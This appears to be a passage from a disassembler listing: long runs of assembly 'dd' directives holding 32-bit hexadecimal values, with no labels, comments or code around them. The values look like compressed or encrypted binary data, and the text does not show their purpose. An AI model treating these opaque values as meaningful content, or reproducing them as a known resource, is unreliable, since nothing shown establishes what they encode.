		dd 7A7C15Dh, 308C602Dh,	99C6E5C0h, 0B6606E51h, 2B432BAh
		dd 569CB1B9h, 36DE6144h, 0A3513FDCh, 845DBE04h,	0F1538072h
		dd 19722C1h, 4928B9CAh,	0A6B52267h, 170EB28Bh, 0C0D6CDA7h
		dd 1A69586Bh, 0FD429725h, 867119A0h, 2C016F3Dh,	0F7DC7EBAh
		dd 47D4C701h, 0F0522427h, 5AD7024Ah, 0E54BCA8Ah, 419750DAh
		dd 67821411h, 9684F4B1h, 3BD3BC52h, 0E8C2975Ah,	917F4F20h
		dd 0ECE70C7h, 0C6533CC0h, 1FCAEDE0h, 5101AFB0h,	0FEB7B4Eh
		dd 55630381h, 0F95ADB0Fh, 59ECC242h, 0F1C3EA49h, 0F4FA3554h
		dd 0BA1F7CD9h, 325237B8h, 1EDEA088h, 80FF62D5h,	0AFF27224h
		dd 0BA06C803h, 64E10DE2h, 58A201F0h, 8C0F3332h,	0BCB91005h
		dd 30CF01F9h, 0D20DC681h, 89D495C5h, 7BEA0611h,	4444A97h
		dd 0B8E6121h, 87CABC52h, 101057C4h, 515BBA9h, 0CD4D0743h
		dd 0D02181BCh, 32876059h, 8A3A54FCh, 0EA838AE7h, 0C704C804h
		dd 21CCEF81h, 0D4915D85h, 0FACF1F01h, 41D7B68Bh, 8E2E9304h
		dd 20C42B11h, 945AC7FBh, 74053D3Ch, 3D080D01h, 0D089F136h
		dd 221F404Ah, 8303CDBCh, 8EFB4F3Fh, 7F9DF040h, 0C97FA98h
		dd 0CB724239h, 50187528h, 0B64021D1h, 827628C4h, 0C9C7438h
		dd 0FD257899h, 0EE7E9120h, 94739200h, 93E40310h, 86411EBBh
		dd 0B415806Dh, 0CC8F4F39h, 0A744E00h, 1EF0C1F6h, 3B400025h
		dd 4896B89Ch, 4E0598FBh, 5A3F8405h, 6284410h, 4C351D1Bh
		dd 0F880631h, 802F1978h, 987A3901h, 73CDBB82h, 18B98DF2h
		dd 0E9BC4AD8h, 0B508B000h, 0C72340h, 21C3A26Fh,	5D589993h
		dd 1B94FF52h, 0E730EED7h, 44833937h, 0F1003F9h,	8CDF4C08h
		dd 1020707Ch, 8BAD05EAh, 2F02A19h, 89E3EECCh, 0F4D21201h
		dd 0B7BCE880h, 9E929FD1h, 0C0356230h, 6EC83EEh,	0FF12946Dh
		dd 632229FAh, 369A22DEh, 82119742h, 4F22F8h, 0AEA04905h
		dd 7806EB5Dh, 0E50F7E07h, 4AB09BD8h, 0C6BAB5h, 704127CCh
		dd 0AB344CDFh, 8F00CBFAh, 2B6E29D2h, 3898DBEh, 44571CC5h
		dd 0B4DA3FACh, 2FF547C0h, 2D6AAF00h, 0D5F6F049h, 40E000A0h
		dd 8C9FF799h, 26037B18h, 5511B160h, 80291C03h, 1BCB428Fh
		dd 620FB91h, 712F6B7Bh,	9E173D0Fh, 0B25D0200h, 0D327704Ah
		dd 0DBF9400h, 7D4083E9h, 234E01D2h, 8FF816Bh, 7184DCC4h
		dd 41EB9F0Ah, 1500D91Eh, 81CF8D0Ah, 0E0701Fh, 0F2C37C5Ah
		dd 4ED5B36h, 4107017Dh,	9929BEB2h, 4712C4C1h, 24E7F0h
		dd 0A4275539h, 0BD7A6D9Bh, 14AA309h, 406C0EBAh,	0BF55574Fh
		dd 0DFF007F6h, 7051D122h, 33CBA81h, 0E69C7D00h,	0E86A13E5h
		dd 0FFFC00C4h, 1A456312h, 31019FFDh, 963E5936h,	0ABF40390h
		dd 0A37373h, 8DA13A0Fh,	0A44D02DDh, 0E8A0951Dh,	788C7480h
		dd 7B3E48h, 8696C015h, 0F273213Ah, 985EB403h, 694A84h
		dd 1A4EA921h, 0D80FA1D1h, 0A350F500h, 0DCEA275Eh, 0C01954CAh
		dd 0B446009Ch, 0DE21CBBDh, 0E90066A8h, 91517A38h, 3DB6E4Eh
		dd 73CF11BFh, 0F590E267h, 9023ADFh, 3897B913h, 3E2DE0B2h
		dd 459526B5h, 9DFA00E6h, 0FEC8C2BAh, 690C9030h,	0F41078h
		dd 0DFE40E7Eh, 7417A6D3h, 1B7FB500h, 7145C2DAh,	126477B8h
		dd 0D79EAFh, 21FD7A04h,	59032AEEh, 0C985EB99h, 9140F82Dh
		dd 0CC5C0315h, 6D202BB4h, 3AFAE9F8h, 77007E7Ch,	0A6707C5h
		dd 3BA4A0h, 0A2461E70h,	0D3939469h, 7E35E339h, 849A2D06h
		dd 1C395710h, 4CA17CDBh, 0CF1039B2h, 0D8859D00h, 5FF04221h
		dd 40740004h, 4D2FBE0Fh, 18C02090h, 98C3DC57h, 11B2003Ch
		dd 0F683AF1Fh, 7F0054C5h, 0E684242Ch, 60FC10F9h, 1A5C69C7h
		dd 8F00FB0Ah, 0BB6F63B8h, 71F71CCh, 0EB3A6E98h,	0F081403Dh
		dd 0C926515Ch, 0E100E0C8h, 0B9BA47ADh, 142A00C0h, 0F4A963DAh
		dd 0E1E84F7h, 0D0401661h, 0E354DDC3h, 557EC90h,	0FE6B2F45h
		dd 5A2A80CDh, 0A101FD96h, 88707B38h, 0DC2068DBh, 0CBBE005Eh
		dd 0B67343FCh, 97002366h, 764C6095h, 10350EAh, 5CF22D7Fh
		dd 7FBADC9Ah, 0DE6D3E00h, 19606A2h, 24FD9CF3h, 20493320h
		dd 1E00483Ch, 4AB65B08h, 398E0F0h, 0D8CD9B2Bh, 66E8383Eh
		dd 4E309359h, 5A1D20B2h, 4138D2B0h, 0F8AD9F34h,	100202Dh
		dd 0C3BC3C00h, 1CD673E5h, 0F719C072h, 781E204Ch, 0B9278300h
		dd 91A3EE52h, 643A3E01h, 5F0F2E80h, 0A67193C2h,	816F5E00h
		dd 2194AF05h, 89A8A0C9h, 113F3C95h, 8D826807h, 6C61A0C2h
		dd 0C6002C1Fh, 49423E39h, 0FCC59Bh, 2FB838BAh, 9613563Ch
		dd 0AFEB8504h, 0A7C00932h, 2AC8D390h, 1A8B330h,	0FCA37176h
		dd 0E8BAE44Ah, 29F6C546h, 5219A900h, 61142DB9h,	0C88D0422h
		dd 0C0BE154Ah, 9D2C9C88h, 7603FA71h, 24232550h,	0AC7CD094h
		dd 99892h, 0D71CA4D4h, 0BFE1EFEAh, 0BD1B0B00h, 23408F4h
		dd 0F50F1650h, 29240785h, 274193DCh, 4739B071h,	19390089h
		dd 0BDF81075h, 7A9F1493h, 0C600C09Dh, 94ECE5CEh, 83005A9Ch
		dd 0E97D1223h, 0A06EEA99h
		dd 3567CCh, 13DF8AD7h, 0ED3BE1D6h, 3334D00h, 0BC92D05Fh
		dd 0B5F279h, 0FB8975Dh,	0F0DF014Fh, 92D5600h, 0FCEE9689h
		dd 0B1710B8Dh, 48A504F1h, 356AC06Fh, 9B0022C7h,	0F6B4BDD5h
		dd 95AC5Dh, 0D21F33B1h,	0F88520A8h, 26816801h, 0D641BFAAh
		dd 694093h, 48013244h, 0A23BADA3h, 7F7301EBh, 9ED9E60Ch
		dd 0EBB68E4h, 185ADCA5h, 0B7A3CF2Eh, 88D5B6F3h,	0B0E46468h
		dd 102CE8F4h, 16806453h, 0C4BA4211h, 0AEF709CEh, 0A8AFF1A6h
		dd 0A9189C00h, 8200BC0Bh, 9503A5D5h, 1CE7546Ch,	0C0C8CA01h
		dd 0B5CE8323h, 14052780h, 998BDC5Bh, 88ED3C83h,	0EC476DDBh
		dd 7384009Fh, 3111C649h, 0C988A02h, 0EFBFFCF7h,	192C5676h
		dd 81B8C0C0h, 923A2362h, 28808BFDh, 9DAC305Ah, 0C6004FFCh
		dd 7956D34Ch, 7C3F5CF8h, 1E200D5h, 0BDE80639h, 2109D958h
		dd 806B1C4Ah, 0D7929A50h, 463107D2h, 87166A4Dh,	67E5A019h
		dd 0AC0013BBh, 0C93AC397h, 8B60296h, 3383B094h,	42ED180Fh
		dd 0CCEC81B2h, 0AD82007Ch, 0EFF18CA5h, 400086CBh, 0AF873F1Dh
		dd 661CFCh, 4829DC8h, 0A6726E13h, 5DE19604h, 0E8C38E90h
		dd 91AB01Dh, 0C3D26D5h,	7A3F0B31h, 0C3BB1180h, 5801B471h
		dd 0DB6BEE4Bh, 75C530D1h, 0A86030h, 6FE453BEh, 0C54EA1D7h
		dd 34FA6E26h, 40518C09h, 3EBF873Ch, 0E6940407h,	4138FAE0h
		dd 0AAB16F80h, 0C2D332Ch, 0C3959600h, 9314A75Ah, 0B302048Fh
		dd 80ED2A75h, 0E49C6B4h, 0F3604701h, 0A74354C2h, 0CAC720h
		dd 35DDBD11h, 0AE052CEDh, 803FCE3Ah, 0B0FA3028h, 391F09h
		dd 4AF6298Ah, 0D2EE85D6h, 541030E9h, 0D4550D28h, 0B295C607h
		dd 94099F9h, 75C11Dh, 0E1FF4A7Dh, 8CB17216h, 0E09825EDh
		dd 90BA2FDDh, 9A54AA03h, 8849ED11h, 0CA84E7Eh, 8F4B312Ah
		dd 0D0718BF8h, 5C3D1724h, 60197D0Eh, 95E7DC94h,	9CB3015Ah
		dd 6CA811DDh, 9A7C83EBh, 0F8EE758Ah, 0C0F92BAFh, 0DB52D770h
		dd 2C588CD9h, 37F87EE0h, 0D37F6000h, 0B4AA1E40h, 0DF68008Dh
		dd 0F1D004BCh, 0B200329Eh, 0F0A6B01Ah, 0C3E5CBh, 0FECAF555h
		dd 87C98BBEh, 0A0AA1924h, 65487B00h, 69D85Ch, 16356345h
		dd 289B1DABh, 0FF21AF00h, 5FC18FCCh, 3250720h, 9ABA5617h
		dd 1F0680ECh, 5AF771CBh, 3C904F79h, 4964E0Fh, 1498957Bh
		dd 118AE56h, 3E2BB20Ah,	2AD18A03h, 60CA16D0h, 0A375E9F6h
		dd 0F7074CBAh, 8F4ED2EFh, 38469E40h, 40B81F9Ch,	8B310AE7h
		dd 0A77B0518h, 39B441BAh, 0E306D62Bh, 0C7CCF6A0h, 31D3DF2h
		dd 1D0FCFC9h, 2218F82h,	88B6561Bh, 4C435448h, 94781DDFh
		dd 48CC00C6h, 0C9198FB7h, 730090F0h, 2BF9BE51h,	928429h
		dd 0AEDBDCB4h, 53682D3Ch, 8C0D1F03h, 0AF8AB789h, 6E3709FFh
		dd 0C10487FCh, 86B53993h, 0CAFCBC10h, 0C99E1218h, 4730C133h
		dd 0F97711D6h, 0D8DF11h, 64CDA19Eh, 215B289Dh, 0B12C284h
		dd 0FFD54920h, 0A8E100D2h, 0CB824D42h, 0DF071321h, 0FEF9866Ch
		dd 8522809Bh, 0E2787A3Ch, 97FC26EFh, 2B4A0076h,	45C9F26Fh
		dd 90500903h, 0BC73F088h, 3136E0C0h, 7FC0B062h,	1C80012Ch
		dd 0F84B6D65h, 25AFF49Fh, 7B77220Bh, 0F7DD0095h, 0FE7CE2B2h
		dd 0FE7B1Fh, 71964D99h,	5A394F34h, 0C33911B0h, 0ED630AF9h
		dd 358494F3h, 6CA06BAFh, 651D3BB5h, 56FBDD00h, 0AED81F32h
		dd 0ED7C8D15h, 0ADC624A8h, 537C0725h, 0AB515621h, 4057BE9Fh
		dd 0CDD2B0D5h, 13005F28h, 979B110Fh, 23BD29h, 0A4AB8774h
		dd 5B187C58h, 337510B0h, 0D8815Ch, 276ABA77h, 3CE2E9Ah
		dd 142C7E31h, 0C0EC0494h, 0B3B69814h, 5883F300h, 5D6848CFh
		dd 0CBF700DBh, 6AEC2381h, 2860B507h, 17AF70C8h,	66D50958h
		dd 6860BB8Ch, 1D002256h, 10A79C6Ah, 2691B1h, 85D3D5E7h
		dd 0AE177905h, 6F74BE00h, 0ACB9CC8Ch, 30C00E4h,	30436E51h
		dd 81E89E8h, 86004BDCh,	0B5DB37D5h, 9A020590h, 8A10A2h
		dd 41C3A690h, 7700D5CEh, 135EA19Ch, 706323h, 0AEC4C243h
		dd 0F08BF4E8h, 19C69E00h, 5C602056h, 0DE063C84h, 0DD7C8C82h
		dd 0B883F539h, 0E2B8EBCDh, 0AF120175h, 80C0DEBBh, 0E4DCBFh
		dd 6E5A1AF7h, 60EC094Dh, 0E7989E07h, 691043CAh,	2FA7ABh
		dd 8D0517CCh, 0A0A4F992h, 4156B300h, 451FC94Bh,	26770001h
		dd 2D76D725h, 74259511h, 0F27C80FFh, 11C9C3BAh,	90E93E7h
		dd 81231B5Dh, 99A74FC4h, 31AE030h, 0FA9C7624h, 29085B3Ch
		dd 83DCD36h, 0D800A542h, 0BB77537h, 5BDB2827h, 8C8F50E0h
		dd 69E80092h, 0DFEF535Fh, 8200F8E7h, 61138ABDh,	5706C4h
		dd 20287B2Eh, 106C6E66h, 960059ECh, 340E9D6Fh, 125D4B61h
		dd 802B3324h, 971DD188h, 0B0A98A00h, 0D34A657Ah, 0E7C400F9h
		dd 86B15F74h, 120720CAh, 4733444Dh, 0DF94A700h,	1D0D005Bh
		dd 0E1EA7772h, 487191ADh, 6BF84008h, 89EE0046h,	0CDB9FC1Bh
		dd 603C59h, 0F68FDFA0h,	20C080h, 35EB23EFh, 0A48A6DACh
		dd 45C74E00h, 0B36BD1C2h, 8C9017h, 0DEEACA77h, 8B18755Eh
		dd 22F7301Dh, 0B34A6380h, 16672Fh, 0EAE80C38h, 57BB12F1h
		dd 30317900h, 0DDABD51Fh, 75F60B06h, 50003597h,	0C92CE693h
		dd 9D4BF91Ch, 7710BC0h,	7A1372B1h, 0CDC50097h, 961C1B21h
		dd 0E47856D0h, 82A8B53Dh, 32A20A74h, 0B78E03Bh,	20616996h
		dd 8C8BB980h, 0B200C178h, 1B4563DEh, 1FCFF93Ch,	409564E0h
		dd 0CEC767A7h, 0ADEC0848h, 7C254100h, 872736C9h, 3506003Ch
		dd 137BBD74h, 860F9466h, 0C0EEC5B7h, 214B63D9h,	0E730033h
		dd 2EAE82BCh, 603AB0E5h, 0F96A8453h, 66C07C8Eh,	686F27h
		dd 0CA3B73C7h, 487E1175h, 0ED48B898h, 0F7660059h, 71B45805h
		dd 87DF0098h, 56F30AF5h, 8A02AFF0h, 0D762978h, 64359h
		dd 67932440h, 0F8FE5C0Fh, 0A560C700h, 42447C1Ch, 48B660E1h
		dd 35DCEE64h, 674E4303h, 1B79E13h, 2EE8D818h, 0F5548A08h
		dd 795880A2h, 4D1B7B82h, 1EDDEE0Eh, 0C4890917h,	0C22665B3h
		dd 0FC580568h, 0D9F36800h, 9E19C5F7h, 1F1700E1h, 0FD423F27h
		dd 0EA147CCAh, 1D6738Bh, 84467265h, 63DC8535h, 0A0533A40h
		dd 0C00E5160h, 39007CC7h, 286F2D31h, 349CE78h, 0A8021905h
		dd 0CB988901h, 0BB3F8BEFh, 4CC98916h, 94F8A4F1h, 0B53C6080h
		dd 0E430E361h, 0D0D848E8h, 3AB6854h, 33E95010h,	0B8C18D38h
		dd 0E7A8648Bh, 0B07C4B8h, 0F79B1578h, 11B6D930h, 0AEF42C86h
		dd 60F80BB4h, 0DE7AA02h, 0A34A8460h, 89295F00h,	0C56A6694h
		dd 7FD20033h, 8ADAD6E7h, 6500FC02h, 0EEBDCC60h,	1259D156h
		dd 7DE4BD3h, 172CF94h, 0E44973A4h, 0CA0092F7h, 2E69ABFh
		dd 1EE458A1h, 35A306h, 65154157h, 83F04E59h, 0E2D2BF03h
		dd 0D1E1FC23h, 874A12Ch, 94132EA5h, 481C2Fh, 0E7E9F623h
		dd 0E0B857C0h, 82F21F00h, 74E13526h, 70763D38h,	0DA5BA280h
		dd 873F0220h, 92EF842Ch, 4C516A00h, 98580B38h, 0F78100A8h
		dd 7AB0FEDh, 4A00B83Eh,	4F3BACBCh, 532427h, 40209B03h
		dd 61C67972h, 0F9FF952Eh, 0C07B0500h, 0C17E85FCh, 63BECEB0h
		dd 0CE1439h, 31859E2h, 94B9FFh,	0E75035DDh, 0ACF80F33h
		dd 0D0D38A17h, 0BCCC9E05h, 4AFFF890h, 780103C2h, 855BFD9h
		dd 0F878F98h, 0A6A4D701h, 0C34FF220h, 716893C4h, 6B100E1h
		dd 25508E04h, 771CAF27h, 164A41C4h, 0CD00A4E5h,	0ED05BD8Ah
		dd 4EC804FDh, 0A4780491h, 0A9004828h, 0D6DBA78Fh, 12BAAD4h
		dd 325ADFC5h, 20A4E112h
		dd 0BA7C1C4Ch, 0C3C06494h, 0FA333AD6h, 0F2F4B831h, 98AD7C73h
		dd 1CAF24Ch, 37EF8F40h,	0E43BF68Bh, 8200D623h, 1136AF8h
		dd 397BCFF1h, 300DBEC4h, 0E431992Fh, 425954Eh, 0B5CC1174h
		dd 1D808A0Ch, 599494BAh, 0B6710306h, 139303C0h,	0A99992A0h
		dd 2C4266E8h, 86012C94h, 0BCB34075h, 96D13CDFh,	5AEE070Fh
		dd 3FD6071Ch, 49E33713h, 6E45AF83h, 70982925h, 5C83070Bh
		dd 0CE6906B0h, 21880FE6h, 8E11AF07h, 0B07A0382h, 7C48AD46h
		dd 0FC1E0009h, 5F44EDFBh, 170F739Eh, 1BF25Ah, 4575D7BEh
		dd 820D5C5Eh, 99944301h, 80EE1992h, 0D9517308h,	0F6D7B990h
		dd 0C4F1C081h, 7F4C7ABCh, 8089FE38h, 99360731h,	49EE876Eh
		dd 0A7003CF1h, 0CEA5A3B1h, 310A74F2h, 0AC6F5289h, 0EA4108h
		dd 42953382h, 10C08D81h, 9656A41Eh, 8EC7006Bh, 66680B23h
		dd 8B18691Ah, 0E659EBEEh, 0E79F0072h, 0EDEDF54h, 0FA724870h
		dd 5211F04h, 64C12B87h,	9DDC93CAh, 4B90040h, 10A59068h
		dd 0A00056AFh, 0D0015CE7h, 0A4C21939h, 41B0798h, 71622B46h
		dd 0F4089347h, 90030F9h, 7BE43C85h, 3C615FBDh, 0BF28E3A3h
		dd 115B60D0h, 0B81A2133h, 93488801h, 644A8384h,	1D1C402Ah
		dd 316D1340h, 27004C71h, 0B5C529A8h, 7268BCh, 3EFC48BEh
		dd 0A6B3AFFDh, 2B974Ch,	0F01A2EB6h, 50D78h, 0C7820F1Ch
		dd 0DA28AEE6h, 0B04CE000h, 9C0B9374h, 0E67AF87Bh, 30AD60ACh
		dd 0C088DE13h, 197F3D7Eh, 56D11A00h, 8976D20h, 4C800077h
		dd 2D50293Bh, 1E3B7531h, 9B9400D8h, 22027956h, 0C0EA006Fh
		dd 6EA3ABECh, 3900D854h, 3136A463h, 9B9C06h, 20A2582Eh
		dd 0DA510716h, 0AAEAEE76h, 12387800h, 0D323E969h, 865300BFh
		dd 0C77DA64h, 650ED70Dh, 99BD476h, 0BDFF807Fh, 39723D48h
		dd 0A607FC19h, 3A300D4Ch, 4440F104h, 0EC043F14h, 0DD457213h
		dd 1CBF0010h, 0FE590F72h, 33D45100h, 3682FD64h,	0C713004Eh
		dd 4845C31Fh, 29C81D8Ah, 988E42F2h, 221E3B22h, 6248BC1h
		dd 129EAA21h, 5A2885CFh, 4EBA1408h, 0E3909D68h,	48158684h
		dd 993142AEh, 7C22F724h, 21A25084h, 0EB12B5D7h,	6F631482h
		dd 0FB217624h, 11BF126Eh, 6A24EA54h, 1244B821h,	61AB1053h
		dd 52081E89h, 0A4A712F9h, 9248673Ch, 22696542h,	0DA22151Bh
		dd 47262473h, 9B203E8Fh, 0F2C8194h, 95F8688Ch, 0B44522C0h
		dd 0EF00BCEAh, 1543CF3Eh, 0F2263DC4h, 0E4409F2h, 578F5913h
		dd 4F86FDC0h, 0EEEA83A9h, 1FE4000h, 0C085F3F5h,	0A8576078h
		dd 0ECF952E9h, 5F38F100h, 5966C4D2h, 0EFE00077h, 0DC6D01ACh
		dd 0DE00B83Ah, 23873611h, 0FA9F79E2h, 0FB440081h, 96C7C40Fh
		dd 0A830C2CEh, 0B462101Bh, 0E0530036h, 33AD8416h, 0F20813EFh
		dd 80352DA8h, 6FFAE70Ch, 0EA0F43C7h, 528A4C54h,	80755400h
		dd 35A70h, 739FF881h, 21389216h, 8FE89500h, 35D0B233h
		dd 55540F0Ch, 801E05AFh, 10FDE1D7h, 42012A31h, 0FBB4857Dh
		dd 9660A1E2h, 0EC260034h, 5680E8CCh, 0C2035E88h, 5154E5D8h
		dd 2E790007h, 0B50219C4h, 530134CAh, 0A5464732h, 0DD703B06h
		dd 284C0072h, 0B6166338h, 9A00E1CEh, 18DD4391h,	0A08C0BC8h
		dd 7B87A5BCh, 0D30D07F3h, 0E09214A9h, 0C009EACDh, 4D111F00h
		dd 0F85C8205h, 7CE1383Eh, 1A24E500h, 55560DC6h,	80002D72h
		dd 0ED17D3B7h, 4EE4E3h,	0F1437BF2h, 0D2AAD5A4h,	0C700FD7Ch
		dd 95D6A4Ah, 34018C4h, 5AE65182h, 5097D672h, 788A25A1h
		dd 9D946750h, 80AD4A38h, 0D5CE6DBEh, 0DE480Eh, 303133A2h
		dd 76A3D48Dh, 5F66400h,	3C54E2FCh, 0EA260052h, 0B85D36F4h
		dd 2CEE512Eh, 0E0F72098h, 2D001FE2h, 32FC7363h,	5553F9h
		dd 8A7A150h, 0EEB8CBD6h, 2B91C90Fh, 994A8165h, 67DC5F8Eh
		dd 7E301D2h, 0E1AA4878h, 9EB0C351h, 88003B80h, 886C00Bh
		dd 0E88AC1h, 2D65E7F6h,	0A10741F8h, 0F9AB1701h,	864D7160h
		dd 20CFACCh, 0FE02B21Eh, 0B4809167h, 0FF24D1E6h, 0A04E1C91h
		dd 0F4023445h, 2049082h, 0EDD263C9h, 72026B24h,	8F2203Eh
		dd 940086DDh, 5BB4FC8Ah, 5009DFAAh, 0EFB4E6h, 4B304C45h
		dd 42AE6C8Eh, 0A5019173h, 8F44A97Bh, 8880F7BAh,	34892374h
		dd 10DFED32h, 0BFFE0C0h, 0EF1FB86h, 976A808h, 801F0ACFh
		dd 29310752h, 253B9974h, 0A44F0090h, 0EA885332h, 71720033h
		dd 29F44AEh, 1C00B96Ch,	8D0BE8E4h, 3FA6FCFBh, 87005E74h
		dd 772FDA6Ah, 530FABD3h, 403BE4D2h, 92AA3352h, 608D0023h
		dd 0AB82933Fh, 1B00EF9Ah, 0DCEBE8E1h, 2F6907h, 67CF6A66h
		dd 91240D83h, 144E7124h, 0AC4DF200h, 346C8Ah, 0A6B9E9AAh
		dd 4BE25DD5h, 0CFF1A312h, 6FDE0C0Eh, 51662091h,	26F877h
		dd 4781D78Dh, 6A64AB95h, 9A1C3F0Ah, 3900951Dh, 829D96E4h
		dd 6B8D0013h, 0DC5397C6h, 4D139E4Ch, 0A090DA5h,	570C0183h
		dd 0E4189244h, 0D4DE7224h, 51299600h, 34E5B27h,	0B588AB2h
		dd 16B8CCEDh, 9AF613A3h, 0C6F88600h, 0DBAADE2Eh, 48F07E26h
		dd 0F2020CDDh, 1131D192h, 0DDB29441h, 0B990E0ECh, 1E4EA748h
		dd 4C40783Ch, 981B0CAEh, 0FF52004Ah, 3D937BEh, 0DE13270Bh
		dd 0A400C79Eh, 0E0893A60h, 0E61B01EDh, 0AC6ECC13h, 0D7C5F1DCh
		dd 0A71D50E8h, 0BD782807h, 0A020660Ah, 0B5719h,	0EB95BE94h
		dd 16588CCEh, 0FF8A600h, 0C7D83683h, 327428F9h,	4CCD498Dh
		dd 7EE8DB00h, 0E05F79A5h, 8C7D1100h, 71EE3062h,	647A48D8h
		dd 92FFEA00h, 0F15E4201h, 0B91C6D77h, 379F4F50h, 483A51C3h
		dd 26C6B0CBh, 0B5FA38h,	144297A3h, 0C0998C6Ah, 0F808AE28h
		dd 0C6FE4801h, 9CA82C4Dh, 8C408AF1h, 0FA6440h, 607F5125h
		dd 45CE8847h, 4F54A612h, 0B8C99840h, 1885AC58h,	0D005D661h
		dd 0A31E8415h, 694013F5h, 0BC500C94h, 0C4E8E4h,	0D95FE3E2h
		dd 209D972Eh, 22B5961Dh, 3EA0174Dh, 7E60DC47h, 0F7B152h
		dd 71761AA4h, 0F9EBBAC7h, 290EA00h, 0A86EE886h,	1B767Fh
		dd 46768AAAh, 2292253Bh, 0DCC7DE04h, 1C819F0Dh,	8C6042CFh
		dd 0B8AD0089h, 59C34E5h, 8100AC45h, 2E088DD0h, 0F178DA9Fh
		dd 0EC46FBD8h, 6CDE01E5h, 537B916Fh, 258EF84Ch,	2A644300h
		dd 0DD7C3E95h, 0A84A00D4h, 927AE09Ah, 0FD0462A4h, 0E6860D03h
		dd 0A90099ACh, 6A2C35CBh, 5E72832Fh, 41E7000h, 0E7817F5Fh
		dd 116D1DB9h, 308B85E2h, 0B2E8077Bh, 6AA0CF27h,	0E7851962h
		dd 0F278C139h, 0C9D43F00h, 2F33B003h, 61EE24CEh, 0BFB801CFh
		dd 24223CCAh, 705CE6F4h, 840101FCh, 7367157Eh, 0DDC2E844h
		dd 0ECE894D4h, 0BF790027h, 268B3BA1h, 0CB0796B1h, 87540B92h
		dd 0A753E751h, 4243FCh,	0FBC48B49h, 0DDD077FEh,	0A3566105h
		dd 5080AD7Eh, 0BBE8F9h,	5A4D80A4h, 0F4530DA1h, 8231CB00h
		dd 0D8406350h, 0C27C0BABh, 0D5804285h, 8D9AB170h, 2C16F400h
		dd 0DD5BDABCh, 201C00C1h, 99F3E282h, 623B5D46h,	0FC00795Ch
		dd 30345EE8h, 75F78841h, 0C92A0BA6h, 0EC039C38h, 4EE5213Ch
		dd 15E193D4h, 0C03927B8h, 0AC90324Ch, 94E3D903h, 0F0499BFCh
		dd 0F40ACEh, 12B1424Fh,	3FC32A2Dh, 0CD7B700h, 47DD6B92h
		dd 18B0A3h, 0EFB84A4Bh,	0C138EDB3h, 80348439h, 7D51EEA5h
		dd 0FBF89Eh, 0A11C632Ah, 0A0528990h, 267070F7h,	3914C50Fh
		dd 8B260E3h, 17F72F1Dh,	9564BAh, 54F187D4h, 42165775h
		dd 7040B340h, 9EC81C3Dh, 26E7E47h, 8E7ACAE0h, 20E06A99h
		dd 2900661Ah, 912E3994h
		dd 0F9847h, 88E875F3h, 0F9D6CA17h, 43A3441Fh, 0E0C430F3h
		dd 60F5D8h, 6418E18Ch, 0FE5405F4h, 0DAEB8200h, 3BCAA20Bh
		dd 0F3755C15h, 3ACF900h, 0F7CE9337h, 56DCAB00h,	0E2416B14h
		dd 0ECD1008Bh, 0EF307C7Ah, 674CD8F1h, 100200C1h, 0D0857FAFh
		dd 225718DCh, 26B92EDDh, 0B2E2CF7Fh, 5594AF00h,	0A116E5A2h
		dd 29950014h, 0DBE345B1h, 0A30080EFh, 675E0FCDh, 94F6C2h
		dd 0B68F501Eh, 9E1D7912h, 0D6041F00h, 4CD09F99h, 0DAF00219h
		dd 0CDF1985Dh, 175AC080h, 67F62724h, 64770700h,	8502046Eh
		dd 0CEEB989Dh, 93E09EACh, 43D4BC80h, 2E0656E8h,	1BAAE6A3h
		dd 0D77F0428h, 0C0D89E09h, 8959917Fh, 0DC5AD109h, 4EBF0021h
		dd 26C3D71Fh, 9A84BACh,	0DC005D44h, 0D0D523AEh,	359E2600h
		dd 94FDE329h, 0CC444C3Bh, 0C00F8C80h, 1D006AEAh, 0DB7C7981h
		dd 2628A1h, 4AB4DD37h, 646E68ACh, 31622204h, 0DC8070CBh
		dd 8BE84446h, 67B8D2F3h, 9F01BFD9h, 885C4B1Ch, 0E840C422h
		dd 3AB16Fh, 1F946A58h, 445BFA57h, 3E89680Fh, 0CD03C095h
		dd 1D8461D3h, 0C0348BF8h, 60E2FF20h, 7D009ABEh,	65FE5364h
		dd 7B03543Dh, 0C86600A2h, 0FC774108h, 0D4FD6AC5h, 5F1F837Fh
		dd 68C01ECEh, 0EE0C5176h, 15440064h, 7B7A4A52h,	0A9F478ECh
		dd 1918AB00h, 0FBACA3B0h, 6BAF070Bh, 0B0971302h, 0B8766C7Fh
		dd 25BEDF00h, 0EC633DD8h, 16A803D7h, 554BB1E2h,	9FC63AC0h
		dd 0EA7EFD06h, 164098BDh, 4048E13Dh, 1FEEDF8Ch,	8700433Ch
		dd 82DDD201h, 0A8A8E861h, 2F1ACCh, 0EAF21420h, 0E9AFC201h
		dd 0A2E038h, 0EB21DDA6h, 49BF8h, 7D4F16B6h, 0ED277365h
		dd 1CFAC400h, 0D87F708Eh, 18DA01A7h, 0FFFDD6CDh, 0BA1A0371h
		dd 2A8650Fh, 0BD7215C9h, 0D8F1BA41h, 0C3A0B8C7h, 2C3E4C9Ah
		dd 4AF20083h, 0D3E3CE0Fh, 0FDD007E2h, 2060D4B4h, 3BF46A4Dh
		dd 36426E0Eh, 982DA032h, 0DAAEBBh, 710CFF83h, 9B1CB926h
		dd 0A557E518h, 737268h,	0EEDBA49Dh, 8E6D42F8h, 6E2C9E98h
		dd 0AB0F082Eh, 16A0004Eh, 7E2A4C70h, 0BC7C0B94h, 0A880595Fh
		dd 0D14071A7h, 12FEE202h, 0E90FFBC5h, 0D8E40C08h, 758D00CDh
		dd 1B19602Ch, 0B90380D5h, 88E508B8h, 0CBE19014h, 0AA8E00A9h
		dd 0D4CDEFEh, 1C006ABCh, 0F19CF442h, 0F3C5387h,	0C8EAA152h
		dd 0FACFCBE1h, 0F558F4EBh, 4832B901h, 3C0B77BAh, 0E72F70h
		dd 0C5AAF97Ah, 34D8C6FCh, 0A618000h, 0A2E5BB03h, 40189CB9h
		dd 0E890D811h, 7606A02Ch, 0B4815200h, 1D9510Fh,	8A492C38h
		dd 0C441ABCBh, 2B141413h, 0FA4C7B9h, 8052DF64h,	608EFAE6h
		dd 6305283Fh, 194006A8h, 1116434Eh, 83CEFC00h, 7217D22Dh
		dd 8DD4004Ah, 909F87C8h, 0C53B1470h, 7B8A00CDh,	50755922h
		dd 0EC951347h, 38440092h, 94E8B55Fh, 0C4DF7A04h, 0D8F0818Dh
		dd 9CF80247h, 0C492F48h, 4136FC68h, 0E87E380Ch,	1251092h
		dd 5080A114h, 80208674h, 0DC55E3F8h, 3870E9h, 3C430E8Ah
		dd 69CD4FACh, 819ED81Fh, 98A2D300h, 7A6086B1h, 3ABD017Fh
